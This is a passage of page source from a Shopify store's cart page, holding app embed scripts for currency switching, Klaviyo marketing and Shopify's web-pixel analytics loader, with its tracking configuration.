1388        var ca = document.cookie.split(';');
1389        for (var i = 0; i < ca.length; i++) {
1390            var c = ca[i];
1391            while (c.charAt(0) == ' ') c = c.substring(1, c.length);
1392            if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
1393        }
1394        return null;
1395    };
1396    
1397    const buildXPathQuery = (text) => {
1398        let numberPattern = "\\d+(?:[.,]\\d+)*"; // Bỏ `matches()`
1399        let symbolAndCodes = text.replace(/<span[^>]*>(.*?)<\/span>/gi, "$1")
1400            .trim()
1401            .replace(new RegExp(numberPattern, "g"), "")
1402            .split(" ")
1403            ?.filter((el) => el);
1404    
1405        if (!symbolAndCodes || !Array.isArray(symbolAndCodes) || symbolAndCodes.length === 0) {
1406            console.error("symbolAndCodes must be a non-empty array.");
1407            return "//*[false()]";
1408        }
1409    
1410        // Escape ký tự đặc biệt trong XPath
1411        const escapeXPath = (str) => str.replace(/(["'])/g, "\\$1");
1412    
1413        // Danh sách thẻ HTML cần tìm
1414        const allowedTags = ["div", "span", "p", "strong", "b", "h1", "h2", "h3", "h4", "h5", "h6", "td", "li", "font", "dd", 'a', 'font', 's'];
1415    
1416        // Tạo điều kiện contains() cho từng symbol hoặc code
1417        const conditions = symbolAndCodes
1418            .map((symbol) =>
1419                `(contains(text(), "${escapeXPath(symbol)}") and (contains(text(), "0") or contains(text(), "1") or contains(text(), "2") or contains(text(), "3") or contains(text(), "4") or contains(text(), "5") or contains(text(), "6") or contains(text(), "7") or contains(text(), "8") or contains(text(), "9")) )`
1420            )
1421            .join(" or ");
1422    
1423        // Tạo XPath Query (Chỉ tìm trong các thẻ HTML, không tìm trong input)
1424        const xpathQuery = allowedTags
1425            .map((tag) => `//${tag}[${conditions}]`)
1426            .join(" | ");
1427    
1428        return xpathQuery;
1429    };
1430    
1431    window.ShopifyTC = {};
1432    ShopifyTC.shop = "essentialbag.de";
1433    ShopifyTC.locale = "en";
1434    ShopifyTC.currency = {"active":"USD", "rate":""};
1435    ShopifyTC.country = "US";
1436    ShopifyTC.designMode = false;
1437    ShopifyTC.theme = {};
1438    ShopifyTC.cdnHost = "";
1439    ShopifyTC.routes = {};
1440    ShopifyTC.routes.root = "/";
1441    ShopifyTC.store_id = 46174666912;
1442    ShopifyTC.page_type = "cart";
1443    ShopifyTC.resource_id = "";
1444    ShopifyTC.resource_description = "";
1445    ShopifyTC.market_id = 105964011784;
1446    switch (ShopifyTC.page_type) {
1447        case "product":
1448            ShopifyTC.resource_id = null;
1449            ShopifyTC.resource_description = null
1450            break;
1451        case "article":
1452            ShopifyTC.resource_id = null;
1453            ShopifyTC.resource_description = null
1454            break;
1455        case "blog":
1456            ShopifyTC.resource_id = null;
1457            break;
1458        case "collection":
1459            ShopifyTC.resource_id = null;
1460            ShopifyTC.resource_description = null
1461            break;
1462        case "policy":
1463            ShopifyTC.resource_id = null;
1464            ShopifyTC.resource_description = null
1465            break;
1466        case "page":
1467            ShopifyTC.resource_id = null;
1468            ShopifyTC.resource_description = null
1469            break;
1470        default:
1471            break;
1472    }
1473
1474    window.ShopifyTC.shopifyCurrency={
1475        "price": "$0.01",
1476        "price_currency": "$0.01 USD",
1477        "currency": "EUR"
1478    }
1479
1480
1481    if(typeof(transcy_appEmbed) == 'undefined'){
1482        transcy_switcherVersion = "1791346129";
1483        transcy_productMediaVersion = "1791278226";
1484        transcy_collectionMediaVersion = "1786020626";
1485        transcy_otherMediaVersion = "1786021091";
1486        transcy_productId = "";
1487        transcy_shopName = "ESSENTIALBAG";
1488        transcy_currenciesPaymentPublish = [];
1489        transcy_curencyDefault = "EUR";transcy_currenciesPaymentPublish.push("AED");transcy_currenciesPaymentPublish.push("AFN");transcy_currenciesPaymentPublish.push("ALL");transcy_currenciesPaymentPublish.push("AMD");transcy_currenciesPaymentPublish.push("ANG");transcy_currenciesPaymentPublish.push("AUD");transcy_currenciesPaymentPublish.push("AWG");transcy_currenciesPaymentPublish.push("AZN");transcy_currenciesPaymentPublish.push("BAM");transcy_currenciesPaymentPublish.push("BBD");transcy_currenciesPaymentPublish.push("BDT");transcy_currenciesPaymentPublish.push("BIF");transcy_currenciesPaymentPublish.push("BND");transcy_currenciesPaymentPublish.push("BOB");transcy_currenciesPaymentPublish.push("BSD");transcy_currenciesPaymentPublish.push("BWP");transcy_currenciesPaymentPublish.push("BZD");transcy_currenciesPaymentPublish.push("CAD");transcy_currenciesPaymentPublish.push("CDF");transcy_currenciesPaymentPublish.push("CHF");transcy_currenciesPaymentPublish.push("CNY");transcy_currenciesPaymentPublish.push("CRC");transcy_currenciesPaymentPublish.push("CVE");transcy_currenciesPaymentPublish.push("CZK");transcy_currenciesPaymentPublish.push("DJF");transcy_currenciesPaymentPublish.push("DKK");transcy_currenciesPaymentPublish.push("DOP");transcy_currenciesPaymentPublish.push("DZD");transcy_currenciesPaymentPublish.push("EGP");transcy_currenciesPaymentPublish.push("ETB");transcy_currenciesPaymentPublish.push("EUR");transcy_currenciesPaymentPublish.push("FJD");transcy_currenciesPaymentPublish.push("FKP");transcy_currenciesPaymentPublish.push("GBP");transcy_currenciesPaymentPublish.push("GMD");transcy_currenciesPaymentPublish.push("GNF");transcy_currenciesPaymentPublish.push("GTQ");transcy_currenciesPaymentPublish.push("GYD");transcy_currenciesPaymentPublish.push("HKD");transcy_currenciesPaymentPublish.push("HNL");transcy_currenciesPaymentPublish.push("HUF");transcy_currenciesPaymentPublish.push("IDR");transcy_currenciesPaymentPublish.push("ILS");transcy_currenciesPaymentPublish.push("INR");transcy_currenciesPaymentPublish.push("ISK");transcy_currenciesPaymentPublish.push("JMD");transcy_currenciesPaymentPublish.push("JPY");transcy_currenciesPaymentPublish.push("KES");transcy_currenciesPaymentPublish.push("KGS");transcy_currenciesPaymentPublish.push("KHR");transcy_currenciesPaymentPublish.push("KMF");transcy_currenciesPaymentPublish.push("KRW");transcy_currenciesPaymentPublish.push("KYD");transcy_currenciesPaymentPublish.push("KZT");transcy_currenciesPaymentPublish.push("LAK");transcy_currenciesPaymentPublish.push("LBP");transcy_currenciesPaymentPublish.push("LKR");transcy_currenciesPaymentPublish.push("MAD");transcy_currenciesPaymentPublish.push("MDL");transcy_currenciesPaymentPublish.push("MKD");transcy_currenciesPaymentPublish.push("MMK");transcy_currenciesPaymentPublish.push("MNT");transcy_currenciesPaymentPublish.push("MOP");transcy_currenciesPaymentPublish.push("MUR");transcy_currenciesPaymentPublish.push("MVR");transcy_currenciesPaymentPublish.push("MWK");transcy_currenciesPaymentPublish.push("MYR");transcy_currenciesPaymentPublish.push("NGN");transcy_currenciesPaymentPublish.push("NIO");transcy_currenciesPaymentPublish.push("NOK");transcy_currenciesPaymentPublish.push("NPR");transcy_currenciesPaymentPublish.push("NZD");transcy_currenciesPaymentPublish.push("PEN");transcy_currenciesPaymentPublish.push("PGK");transcy_currenciesPaymentPublish.push("PHP");transcy_currenciesPaymentPublish.push("PKR");transcy_currenciesPaymentPublish.push("PLN");transcy_currenciesPaymentPublish.push("PYG");transcy_currenciesPaymentPublish.push("QAR");transcy_currenciesPaymentPublish.push("RON");transcy_currenciesPaymentPublish.push("RSD");transcy_currenciesPaymentPublish.push("RWF");transcy_currenciesPaymentPublish.push("SAR");transcy_currenciesPaymentPublish.push("SBD");transcy_currenciesPaymentPublish.push("SEK");transcy_currenciesPaymentPublish.push("SGD");transcy_currenciesPaymentPublish.push("SHP");transcy_currenciesPaymentPublish.push("SLL");transcy_currenciesPaymentPublish.push("STD");transcy_currenciesPaymentPublish.push("THB");transcy_currenciesPaymentPublish.push("TJS");transcy_currenciesPaymentPublish.push("TOP");transcy_currenciesPaymentPublish.push("TTD");transcy_currenciesPaymentPublish.push("TWD");transcy_currenciesPaymentPublish.push("TZS");transcy_currenciesPaymentPublish.push("UAH");transcy_currenciesPaymentPublish.push("UGX");transcy_currenciesPaymentPublish.push("USD");transcy_currenciesPaymentPublish.push("UYU");transcy_currenciesPaymentPublish.push("UZS");transcy_currenciesPaymentPublish.push("VND");transcy_currenciesPaymentPublish.push("VUV");transcy_currenciesPaymentPublish.push("WST");transcy_currenciesPaymentPublish.push("XAF");transcy_currenciesPaymentPublish.push("XCD");transcy_currenciesPaymentPublish.push("XOF");transcy_currenciesPaymentPublish.push("XPF");transcy_currenciesPaymentPublish.push("YER");
1490        transcy_shopifyLocales = [{"shop_locale":{"locale":"en","enabled":true,"primary":false,"published":true}}];
1491        transcy_moneyFormat = "${{amount}}";
1492
1493        function domLoadedTranscy () {
1494            let cdnScriptTC = typeof(transcy_cdn) != 'undefined' ? (transcy_cdn+'/transcy.js') : "https://cdn.shopify.com/extensions/01a10f7c-5346-77b6-9d2d-7e03ffbd68ed/transcy-323/assets/transcy.js";
1495            let cdnLinkTC = typeof(transcy_cdn) != 'undefined' ? (transcy_cdn+'/transcy.css') :  "https://cdn.shopify.com/extensions/01a10f7c-5346-77b6-9d2d-7e03ffbd68ed/transcy-323/assets/transcy.css";
1496            let scriptTC = document.createElement('script');
1497            scriptTC.type = 'text/javascript';
1498            scriptTC.defer = true;
1499            scriptTC.src = cdnScriptTC;
1500            scriptTC.id = "transcy-script";
1501            document.head.appendChild(scriptTC);
1502
1503            let linkTC = document.createElement('link');
1504            linkTC.rel = 'stylesheet'; 
1505            linkTC.type = 'text/css';
1506            linkTC.href = cdnLinkTC;
1507            linkTC.id = "transcy-style";
1508            document.head.appendChild(linkTC); 
1509        }
1510
1511
1512        if (document.readyState === 'interactive' || document.readyState === 'complete') {
1513            domLoadedTranscy();
1514        } else {
1515            document.addEventListener("DOMContentLoaded", function () {
1516                domLoadedTranscy();
1517            });
1518        }
1519    }
1520</script>
1520
1521<!-- END app snippet -->
1522
1523
1524<!-- END app block --><!-- BEGIN app block: shopify://apps/klaviyo-email-marketing-sms/blocks/klaviyo-onsite-embed/2632fe16-c075-4321-a88b-50b567f42507 -->
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537  
1537<script async src="https://static.klaviyo.com/onsite/js/TUzBeb/klaviyo.js?company_id=TUzBeb"></script>
1537
1538  
1538<script>!function(){if(!window.klaviyo){window._klOnsite=window._klOnsite||[];try{window.klaviyo=new Proxy({},{get:function(n,i){return"push"===i?function(){var n;(n=window._klOnsite).push.apply(n,arguments)}:function(){for(var n=arguments.length,o=new Array(n),w=0;w<n;w++)o[w]=arguments[w];var t="function"==typeof o[o.length-1]?o.pop():void 0,e=new Promise((function(n){window._klOnsite.push([i].concat(o,[function(i){t&&t(i),n(i)}]))}));return e}}})}catch(n){window.klaviyo=window.klaviyo||[],window.klaviyo.push=function(){var n;(n=window._klOnsite).push.apply(n,arguments)}}}}();</script>
1538
1539
1540  
1541
1542
1543
1544
1545  
1545<script>
1546    window.klaviyoReviewsProductDesignMode = false
1547  </script>
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557<!-- END app block --><!-- BEGIN app block: shopify://apps/gempages-builder/blocks/embed-gp-script-head/20b379d4-1b20-474c-a6ca-665c331919f3 -->
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572<!-- END app block --><link href="https://cdn.shopify.com/extensions/01a121e2-6918-7b3b-a3bc-6a93e088cd01/sternify-1631/assets/st_reset.css" rel="stylesheet" type="text/css" media="all">
1573<script src="https://cdn.shopify.com/extensions/01a0f6ed-716e-7bcb-9b26-cd9173669680/countdown-timer-30-98/assets/countdown_timer_essential_apps.min.js" type="text/javascript" defer="defer"></script>
vendor: 1 bytes, line 1573
1573
1574<script src="https://cdn.shopify.com/extensions/01a11ebe-c27e-7bb5-9a45-f51fefa9f9f6/social-widget-93/assets/social-widget.min.js" type="text/javascript" defer="defer"></script>
vendor: 1 bytes, line 1574
1574
1575<script src="https://cdn.shopify.com/extensions/01a122c2-ac45-7ac5-8662-c2900bb3eaad/aftersell-1183/assets/aftersell-utm-triggers.js" type="text/javascript" defer="defer"></script>
vendor: 1 bytes, line 1575
1575
1576<script src="https://cdn.shopify.com/extensions/01a11428-edef-712a-9d9b-d045e32dca0c/applovin-shop-integration-100/assets/app-embed.js" type="text/javascript" defer="defer"></script>
1576
1577<link href="https://monorail-edge.shopifysvc.com" rel="dns-prefetch">
1578<script>(function(){if ("sendBeacon" in navigator && "performance" in window) {try {var session_token_from_headers = performance.getEntriesByType('navigation')[0].serverTiming.find(x => x.name == '_s').description;} catch {var session_token_from_headers = undefined;}var session_cookie_matches = document.cookie.match(/_shopify_s=([^;]*)/);var session_token_from_cookie = session_cookie_matches && session_cookie_matches.length === 2 ? session_cookie_matches[1] : "";var session_token = session_token_from_headers || session_token_from_cookie || "";function handle_abandonment_event(e) {var entries = performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length === 0) {window.abandonment_tracked = true;var currentMs = Date.now();var navigation_start = performance.timing.navigationStart;var payload = {shop_id: 46174666912,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token,page_type: "cart"};window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({schema_id: "online_store_buyer_site_abandonment/1.1",payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener('pagehide', handle_abandonment_event);}}());</script>
vendor: 1 bytes, line 1578
1578
1579<script>
1580  window.__TREKKIE_SHIM_QUEUE = window.__TREKKIE_SHIM_QUEUE || [];
1581</script>
vendor: 1 bytes, line 1581
1581
1582<script>(function(){var wpmLoader=function(){"use strict";var e=/Googlebot|Storebot-Google|bingbot|Baiduspider|YandexBot|DuckDuckBot|Slurp|facebookexternalhit|Twitterbot|LinkedInBot|Applebot|AdsBot-Google|Mediapartners-Google|APIs-Google|PetalBot|SemrushBot|AhrefsBot|MJ12bot|DotBot|Acunetix|PerplexityBot|Perplexity-User/i,t=/bytedance/i;function i(){try{var e=document.cookie;if(!e||"string"!=typeof e)return;for(var t=0,i=e.split(";");t<i.length;t++){var n=i[t],r=n.indexOf("=");if(-1!==r){var o=n.slice(0,r).trim();if(o){var a=void 0;try{a=decodeURIComponent(o)}catch(e){a=o}if("_shopify_s"===a){var d=n.slice(r+1).trim();try{return decodeURIComponent(d)}catch(e){return d}}}}}return}catch(e){return}}function n(e){try{"undefined"!=typeof console&&"function"==typeof console.warn&&console.warn(e)}catch(e){}}function r(e,t){return"string"==typeof e&&e.length>0&&e.length<=t?e:void 0}function o(e){var t;switch(null==(t=null==e?void 0:e.navigation)?void 0:t.type){case 0:return"navigate";case 1:return"reload";case 2:return"back_forward";default:return}}function a(){var e,t,i;try{var n=null==(i=null==(t=null==(e=self.ShopifyAnalytics)?void 0:e.lib)?void 0:t.trekkie)?void 0:i.state;return"awaiting-consent"===n||"initialized"===n?n:void 0}catch(e){return}}return function(d,s,u,l){var c=arguments.length>4&&void 0!==arguments[4]?arguments[4]:{};try{var p=c.trekkieShim;!0!==p&&"true"!==p||null!=window.__TREKKIE_SHIM_QUEUE||(window.__TREKKIE_SHIM_QUEUE=[])}catch(e){}var f,v,h,y,g=(v=(f={modern:/Edge?\/(1{2}[4-9]|1[2-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Firefox\/(1{2}[4-9]|1[2-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Chrom(ium|e)\/(9{2}|\d{3,})\.\d+(\.\d+|)|(Maci|X1{2}).+ Version\/(15\.\d+|(1[6-9]|[2-9]\d|\d{3,})\.\d+)([,.]\d+|)( \(\w+\)|)( Mobile\/\w+|) Safari\/|Chrome.+OPR\/(9{2}|\d{3,})\.\d+\.\d+|(CPU[ +]OS|iPhone[ +]OS|CPU[ +]iPhone|CPU IPhone OS|CPU iPad OS)[ +]+(15[._]\d+|(1[6-9]|[2-9]\d|\d{3,})[._]\d+)([._]\d+|)|Android:?[ /-](14[89]|1[5-9]\d|[2-9]\d{2}|\d{4,})(\.\d+|)(\.\d+|)|Android.+Firefox\/(15\d|1[6-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Android.+Chrom(ium|e)\/(14[89]|1[5-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|SamsungBrowser\/([2-9]\d|\d{3,})\.\d+/,legacy:/Edge?\/(1[6-9]|[2-9]\d|\d{3,})\.\d+(\.\d+|)|Firefox\/(5[4-9]|[6-9]\d|\d{3,})\.\d+(\.\d+|)|Chrom(ium|e)\/(5[1-9]|[6-9]\d|\d{3,})\.\d+(\.\d+|)([\d.]+$|.*Safari\/(?![\d.]+ Edge\/[\d.]+$))|(Maci|X1{2}).+ Version\/(10\.\d+|(1[1-9]|[2-9]\d|\d{3,})\.\d+)([,.]\d+|)( \(\w+\)|)( Mobile\/\w+|) Safari\/|Chrome.+OPR\/(3[89]|[4-9]\d|\d{3,})\.\d+\.\d+|(CPU[ +]OS|iPhone[ +]OS|CPU[ +]iPhone|CPU IPhone OS|CPU iPad OS)[ +]+(10[._]\d+|(1[1-9]|[2-9]\d|\d{3,})[._]\d+)([._]\d+|)|Android:?[ /-](14[89]|1[5-9]\d|[2-9]\d{2}|\d{4,})(\.\d+|)(\.\d+|)|Mobile Safari.+OPR\/([89]\d|\d{3,})\.\d+\.\d+|Android.+Firefox\/(15\d|1[6-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Android.+Chrom(ium|e)\/(14[89]|1[5-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Android.+(UC? ?Browser|UCWEB|U3)[ /]?(15\.([5-9]|\d{2,})|(1[6-9]|[2-9]\d|\d{3,})\.\d+)\.\d+|SamsungBrowser\/(5\.\d+|([6-9]|\d{2,})\.\d+)|Android.+MQ{2}Browser\/(14(\.(9|\d{2,})|)|(1[5-9]|[2-9]\d|\d{3,})(\.\d+|))(\.\d+|)|K[Aa][Ii]OS\/(3\.\d+|([4-9]|\d{2,})\.\d+)(\.\d+|)/}).modern,h=f.legacy,(y=navigator.userAgent).match(e)?"bot":y.match(v)?"modern":y.match(h)?"legacy":y.match(t)?"bot":"unknown"),m=function(e){var t,i,n=r(e,128);try{var a=window.performance,d=null==(t=null==a?void 0:a.getEntriesByType)?void 0:t.call(a,"navigation")[0];if(!d)return{requestId:n,navigationType:o(a)};var s="type"in d?r(d.type,64):void 0,u="serverTiming"in d&&Array.isArray(d.serverTiming)?d.serverTiming:[];return{requestId:null!=n?n:r(null==(i=u.find(function(e){return"requestID"===e.name}))?void 0:i.description,128),navigationType:s}}catch(e){return{requestId:n}}}(c.requestId),w=function(e){var t=e.version,r=e.browserTarget,o=e.surface,a=e.shopId,d=e.monorailEndpoint,s=window.location.href;return{emit:function(e){var u=e.status,l=e.errorMsg,c=e.failureReason,p=e.useKeepaliveFallback,f=void 0!==p&&p,v=e.navigationType,h=e.pagehidePersisted,y=e.requestId,g=e.trekkieState;if(d){var m,w;try{var b=(new Date).getTime();m=JSON.stringify({metadata:{event_sent_at_ms:b},events:[{schema_id:"web_pixels_manager_load/3.3",payload:{version:t,bundle_target:r,page_url:s,status:u,surface:o,error_msg:l,failure_reason:c,navigation_type:v,pagehide_persisted:h,request_id:y,trekkie_state:g,shop_id:a,visit_token:i()},metadata:{event_created_at_ms:b}}]})}catch(e){return}try{if("function"==typeof window.navigator.sendBeacon&&-1===(w=window.navigator.userAgent).indexOf("iPhone; CPU iPhone OS 12_")&&-1===w.indexOf("iPad; CPU OS 12_")&&-1===w.indexOf("iPod touch; CPU iPhone OS 12_")&&window.navigator.sendBeacon.bind(window.navigator)(d,m))return}catch(e){}if(f)try{"function"==typeof window.fetch&&window.fetch(d,{method:"POST",headers:{"Content-Type":"text/plain"},body:m,keepalive:!0}
1582).catch(function(){})}catch(e){}else try{var _=new XMLHttpRequest;_.open("POST",d,!0),_.setRequestHeader("Content-Type","text/plain"),_.send(m)}catch(e){n("[Web Pixels Manager] Got an unhandled error while logging to Monorail.")}}else n("[Web Pixels Manager] No Monorail endpoint provided, skipping logging.")}}}({version:u,browserTarget:g,surface:d.surface,shopId:d.shopId,monorailEndpoint:d.monorailEndpoint});if(Boolean(null==(_=null==(b=window.Shopify)?void 0:b.analytics)?void 0:_.replayQueue))w.emit({status:"setup-skipped",errorMsg:"replay queue already initialized."});else{var b,_;w.emit({status:"setup-started"}),window.Shopify=window.Shopify||{};var S=window.Shopify;S.analytics=S.analytics||{};var P=S.analytics;P.replayQueue=[],P.publish=function(e,t,i){return P.replayQueue.push([e,t,i]),!0};try{self.performance.mark("wpm:start")}catch(e){}var k,C="modern"===g?"modern":"legacy",E=(null!=l?l:{modern:"",legacy:""})[C],I=[(k={baseUrl:s,hashVersion:u,buildTarget:C}).baseUrl,"/wpm","/b",k.hashVersion,"modern"===k.buildTarget?"m":"l",".js"].join(""),O=!1,T=!1;try{c.browserTarget=g,function(){O=!0;try{window.addEventListener("pagehide",M)}catch(e){O=!1}}(),R(function(){try{R(x)}catch(e){D(e)}}),w.emit({status:"loading",requestId:m.requestId,navigationType:m.navigationType,trekkieState:a()})}catch(e){D(e)}}function U(){var e;if(q(),!function(){var e,t;return Boolean(null==(t=null==(e=window.Shopify)?void 0:e.analytics)?void 0:t.initialized)}()){var t,i,n;try{if("function"!=typeof(null==(e=window.webPixelsManager)?void 0:e.init))return void A();if(!(null!==(n=i=t=window.webPixelsManager.init(d))&&"function"!=typeof n&&Object(n)===n&&"publish"in i&&"function"==typeof i.publish&&"publishCustomEvent"in i&&"function"==typeof i.publishCustomEvent&&"visitor"in i&&"function"==typeof i.visitor))return void A()}catch(e){return void A(e)}var r=window.Shopify.analytics;r.replayQueue.forEach(function(e){var i=e[0],n=e[1],r=e[2];t.publishCustomEvent(i,n,r)}),r.replayQueue=[],r.publish=t.publishCustomEvent,r.visitor=t.visitor,r.initialized=!0}}function A(e){B("manager_api_unavailable",void 0===e?void 0:Q(e))}function x(){B("script_load_failed","".concat(I," has failed to load"))}function B(e,t){T||(T=!0,q(),w.emit({status:"failed",errorMsg:t,failureReason:e,requestId:m.requestId,navigationType:m.navigationType,trekkieState:a()}))}function M(e){O&&(q(),w.emit({status:"pagehide-while-loading",useKeepaliveFallback:!0,pagehidePersisted:e.persisted,requestId:m.requestId,navigationType:m.navigationType,trekkieState:a()}))}function q(){O=!1;try{window.removeEventListener("pagehide",M)}catch(e){}}function R(e){var t;!function(e){var t=e.src,i=e.async,n=void 0===i||i,r=e.onload,o=e.onerror,a=e.sri,d=e.scriptDataAttributes,s=void 0===d?{}:d,u=document.createElement("script"),l=document.querySelector("head"),c=document.querySelector("body");if(u.async=n,u.src=t,a&&(u.integrity=a,u.crossOrigin="anonymous"),s)for(var p in s)if(Object.prototype.hasOwnProperty.call(s,p))try{u.dataset[p]=String(s[p])}catch(e){}if(r&&u.addEventListener("load",r),o&&u.addEventListener("error",o),l)l.appendChild(u);else{if(!c)throw new Error("Did not find a head or body element to append the script");c.appendChild(u)}}({src:I,async:!0,onload:U,onerror:e,sri:(t=E,"string"==typeof t&&/^sha384-[A-Za-z0-9+/=]+$/.test(t)?E:""),scriptDataAttributes:c})}function D(e){B("script_append_failed",Q(e))}function Q(e){return e instanceof Error?e.message:"Unknown error"}}}();wpmLoader({shopId: 46174666912,storefrontBaseUrl: "https://essentialbag.de",extensionsBaseUrl: "https://extensions.shopifycdn.com/cdn/shopifycloud/web-pixels-manager",monorailEndpoint: "https://essentialbag.com/.well-known/shopify/monorail/unstable/produce_batch",surface: "storefront-renderer",enabledBetaFlags: ["4c64608a","16072cab"],webPixelsConfigList: [{"id":"5329682696","configuration":"{\"projectId\":\"qffgf9w6su\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"d8a2bb2ccbb513dc8e8b6937f4b8033e","type":"APP","apiClientId":240074326017,"privacyPurposes":[],"capabilities":["advanced_dom_events"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_personal_data"],"dataSharingControls":["share_all_events"]}
1582,"dataSharingState":"unrestricted"},{"id":"5119312136","configuration":"{\"product_bundles_data\":\"[]\",\"shop\":\"eminenter.myshopify.com\",\"collect_url\":\"https:\\\/\\\/collect.bogos.io\\\/collect\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"e375ae2aeef9215058b62ddff7136cb9","type":"APP","apiClientId":177733,"privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized"},{"id":"4310139144","configuration":"{\"endpoint\":\"https:\\\/\\\/api.parcelwill.com\",\"debugMode\":\"false\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"97b5be1756c17e4819e71893a005b595","type":"APP","apiClientId":2681387,"privacyPurposes":["ANALYTICS"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"unrestricted"},{"id":"4180443400","configuration":"{\"accountID\":\"abconvert\",\"shopID\":\"eminenter.myshopify.com\",\"debug\":\"false\",\"apiEndpoint\":\"https:\\\/\\\/app.abconvert.io\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"54eb69ada60c4e271588cac2428772c3","type":"APP","apiClientId":11583619073,"privacyPurposes":["SALE_OF_DATA"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized"},{"id":"4082139400","configuration":"{\"hashed_organization_id\":\"62fdb01f4110e8ab891ceda565c5e2b4_v1\",\"app_key\":\"eminenter\",\"allow_collect_personal_data\":\"true\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"01efe7afb13dafa90bc1421b50b2a3ed","type":"APP","apiClientId":111542,"privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized"},{"id":"4022403336","configuration":"{\"eventKey\":\"8b24d9c0-3249-4f03-a04c-fb3a02ae4ac0\",\"name\":\"eminenter - Axon Pixel\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"1aa9c8a3eefb016cea8f120597aa6fad","type":"APP","apiClientId":256560922625,"privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized"},{"id":"3806462216","configuration":"{\"accountID\":\"TUzBeb\",\"webPixelConfig\":\"eyJlbmFibGVBZGRlZFRvQ2FydEV2ZW50cyI6IHRydWV9\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"c63c5b72c8d77be5f2d27d14c081da38","type":"APP","apiClientId":123074,"privacyPurposes":["ANALYTICS","MARKETING"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized","enabledFlags":["9a3ed68a"]},{"id":"3074031880","configuration":"{\"shopifyDomain\":\"eminenter.myshopify.com\",\"version\":\"2.5.0\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"f10c06a608a63ca90eda6b59723f35a2","type":"APP","apiClientId":80811360257,"privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized"},{"id":"3053846792","configuration":"{\"account_ID\":\"397835\",\"google_analytics_tracking_tag\":\"1\",\"measurement_id\":\"2\",\"api_secret\":\"3\",\"shop_settings\":\"{\\\"custom_pixel_script\\\":\\\"https:\\\\\\\/\\\\\\\/storage.googleapis.com\\\\\\\/gsf-scripts\\\\\\\/custom-pixels\\\\\\\/eminenter.js\\\"}\"}","eventPayloadVersion":"v1","runtimeContext":"LAX","scriptVersion":"dbf16afd37d7bda963909dd4e886232e","type":"APP","apiClientId":1558137,"privacyPurposes":[],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]}
1582,"dataSharingState":"unrestricted"},{"id":"2620948744","configuration":"{\"shop\":\"eminenter.myshopify.com\",\"cookie_duration\":\"604800\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"a2e7513c3708f34b1f617d7ce88f9697","type":"APP","apiClientId":2744533,"privacyPurposes":["ANALYTICS","MARKETING"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized"},{"id":"2160165128","configuration":"{\"shopifyDomain\":\"eminenter.myshopify.com\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"efb72128e7f0d720736b7ee16b70fcf3","type":"APP","apiClientId":2935586817,"privacyPurposes":[],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_email","read_customer_personal_data"],"dataSharingControls":["share_all_events"]},"dataSharingState":"unrestricted"},{"id":"1679032584","configuration":"{\"shopId\":\"eminenter.myshopify.com\"}","eventP